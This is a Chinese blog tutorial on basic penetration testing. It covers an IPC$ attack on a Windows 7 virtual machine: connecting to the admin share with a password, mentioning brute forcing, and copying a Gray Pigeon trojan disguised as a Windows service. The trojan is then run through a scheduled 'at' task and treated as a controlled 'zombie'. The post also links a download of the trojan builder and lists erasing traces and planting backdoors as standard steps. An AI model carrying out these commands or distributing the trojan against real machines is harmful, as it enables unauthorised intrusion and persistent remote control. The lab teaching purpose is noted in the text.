渗透测试基础入门【01】——测试流程（IPC$）

傷城~ 2024-03-29 16:10 92阅读 0赞

## 渗透测试基础入门【01】——测试流程（IPC$） ##

> 注意，攻击对方需要对方授权，本文章目的只为教学，不要拿去干违法的事

### 1 渗透测试流程 ###

1.  授权（获取目标用户授权，否则是违法行为）
2.  信息收集

nslookup   whois

1.  扫描漏洞

nmap=ip范围	端口（80...） 服务器类型（IIS、Apache） 什么类型的网站

高级扫描：

> 利用服务器本身漏洞  
> 如IIS漏洞2003-IIS6.0 2008-IIS7.0， 网站漏洞

1.  漏洞利用
2.  提权（shell环境、桌面环境、最高权限）

> shell环境的意思是拿到对方的命令行窗口，相当于你本地操作的是对方的命令行

1.  消除入侵痕迹
2.  留后门

> 可以留下一个木马或者其他，方便下次直接入侵

1.  渗透测试报告

### 2 简单漏洞利用【IPC$】 ###

> Internet Process Connection(IPC)命名管道  
> `此处我使用我本地win10的本机去破解虚拟机上的win7`

手工测试端口号开放：

telnet IP地址 测试端口
    
    telnet 192.168.145.98 445

*  出现如下界面表明对方开启445端口（黑窗口）  
    ![在这里插入图片描述][419820c596d644f0a68fff661947a89f.png]
 *  如下界面表明对方未开启端口  
    ![在这里插入图片描述][66ed4e445da54875b8024696e7f5616c.png]

①scanport扫描445端口

②漏洞利用之IPC$

> 进行账户暴力破解：NTscan

net use f: \\10.1.1.2\share 密码 /user:用户
    net use f: /del
    net use * /del
    
    # c$对应的是对方用户的c盘
    net use f: \\10.1.1.2\c$ 密码 /user:用户
    # ipc$对应是对方用户的所有盘
    net use f: \\10.1.1.2\ipc$ 密码 /user:用户

*  使用管理员运行cmd【win+r 然后ctrl+shift+enter】

net use \\192.168.145.98\ipc$ 123.com /user:administrator
    # 123.com 密码（如果是空密码，直接输入""即可）
    # administrator 账户

![在这里插入图片描述][4902975e5a7f459589a69ef90437fbd4.png]

>f7可以查看cmd历史命令，esc退出查看

*  查看是否映射成功

net use

![在这里插入图片描述][4b7e32cdd3634620999bbc8e82881f80.png]

③暴力破解系统密码（445端口）

> 过程省略…

④植入木马（留后门）

> 制作木马【灰鸽子软件】  
> 链接：https://pan.baidu.com/s/1Za54jFQJyTkxDPDVKMQzAA?pwd=zj8k  
> 提取码：zj8k

*  配置服务器程序（木马）  
    ![在这里插入图片描述][50d36fba32444877bf9ab5a2d98519cf.png]  
    ![在这里插入图片描述][a527652aedd649d7a7baa33d4307fb25.png]

> 启动项可以不用设置，保持默认也行，不过为了防止用户识别出密码，我们可以将名称改为`windows system service等等`【该服务会自动写到注册表并注册为服务】

![在这里插入图片描述][0786fa06b46842e0beb89841be2ee528.png]

copy d:\\heihei.exe \\192.168.145.30\c$
    
    # copy heihei.exe \\192.168.145.98\d$

*  结果：  
    ![在这里插入图片描述][9511d6a8d7124e09bf38acc2b7b6c5a6.png]
 *  虚拟机上也已经有对应文件了：

![在这里插入图片描述][2d896ed2134d44898a44d52d491ff290.png]

⑤设置计划任务、自动执行木马

*  查看时间

# 查询目标机上对应时间，方便设置定时任务
    net time \\192.168.145.98

![在这里插入图片描述][cfff5225c78a481a922c73410551554d.png]

*  设置定时任务

at \\192.168.14530 15:00 "c:\heihei.exe"

![在这里插入图片描述][755d1cb830124291a7e5ab91bf0bd941.png]

*  结果查看

> 在目标机器（win7）以管理员运行cmd，查看定时任务

![在这里插入图片描述][e93da28792fe4872a7856f24494f4483.png]  
⑥等待肉鸡上线

![在这里插入图片描述][91b1cad9ac30445388595a2b2fd78bf3.png]  
![在这里插入图片描述][3c336bafba754cb6ab8dede501c59f12.png]

> 现在来到win7，win+R，输入`services.msc`，查看对应服务

![在这里插入图片描述][49ebc8cdbbcd4496bce735020257b676.png]

服务成功注册！！！

### 3 扫描与爆破 ###

参考：[扫描与爆破流程][Link 1]

#### 资料： ####

##### ①安装的win7没有管理员 #####

WIN7家庭普通版没有“本地用户和组”项，不能通过“用计算机右键-管理”的方法开启超级管理员帐户Administrator。

要开启Win7家庭普通版本的超级管理员账户，你首先需要使用拥有管理员权限的账户登录系统，然后按照以下步骤操作：

1> 打开注册表：点击“开始”-> “运行” 在运行窗口中输入：regedit

2> 找到注册表项：HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\Winlogon\\

3> 在上述注册表项下新建注册表项“SpecialAccounts”，再在其下新建子项“UserList”，然后新建一个名为“Administrator”的DWORD(32位)值，将其数值改成“1”

4> 激活administrator用户。重启计算机，按F8后进安全模式，在管理员权限下点击“开始”-> “运行” 在运行窗口中输入：cmd，在DOS窗口下输入：

复制代码代码如下:

net user administrator /active:yes

5> 重启计算机或切换用户，这时应该能看到超级管理员administrator用户，以administrator身份登陆即可，默认无密码！

②iso文件

*  可以通过https://msdn.itellyou.cn/下载  
    ![在这里插入图片描述][f886a50d648c43b98334d320fe223dc4.png]
 *  百度网盘

> 链接：https://pan.baidu.com/s/1Ela-qgJ6sJQPtrMO5PzZRA?pwd=zj8k  
> 提取码：zj8k

[419820c596d644f0a68fff661947a89f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/d43415923c594e3db757bfe6bf6954f8.png
[66ed4e445da54875b8024696e7f5616c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/a500b474dccf4959bf92d293057f45dc.png
[4902975e5a7f459589a69ef90437fbd4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/8c06567daa5849d28f1615f91a3bfc49.png
[4b7e32cdd3634620999bbc8e82881f80.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/f6c9c059eb0b4bfb8fb49c7afaaa6220.png
[50d36fba32444877bf9ab5a2d98519cf.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/3b9b90c7371042c29487eef50c00a296.png
[a527652aedd649d7a7baa33d4307fb25.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/644962bf1c8541f9a88b5accefa15cc7.png
[0786fa06b46842e0beb89841be2ee528.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/a7574792013b4bb19580949c6e9b29e5.png
[9511d6a8d7124e09bf38acc2b7b6c5a6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/91ab4ef9ebd04a50bfbfb90fbf87014a.png
[2d896ed2134d44898a44d52d491ff290.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/2c76d2ae93fe4a21969d83fad97a7711.png
[cfff5225c78a481a922c73410551554d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/53ca5819ad604c449bf10d515a8654bf.png
[755d1cb830124291a7e5ab91bf0bd941.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/2c68e3fbd412432f8adef403834a7320.png
[e93da28792fe4872a7856f24494f4483.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/b0b5d0352e0c43b5aeffc6583c03740b.png
[91b1cad9ac30445388595a2b2fd78bf3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/f2f04b4af5a54601a0111168e77e0d58.png
[3c336bafba754cb6ab8dede501c59f12.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/fdd8bcca00be4b84bb0dac8f06e59950.png
[49ebc8cdbbcd4496bce735020257b676.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/1b05255bf3224e4f806b35ca26b5e3ee.png
[Link 1]: https://blog.csdn.net/weixin_45565886/article/details/128708715
[f886a50d648c43b98334d320fe223dc4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/3ac387a827974af2ac30e32ec4108c42.png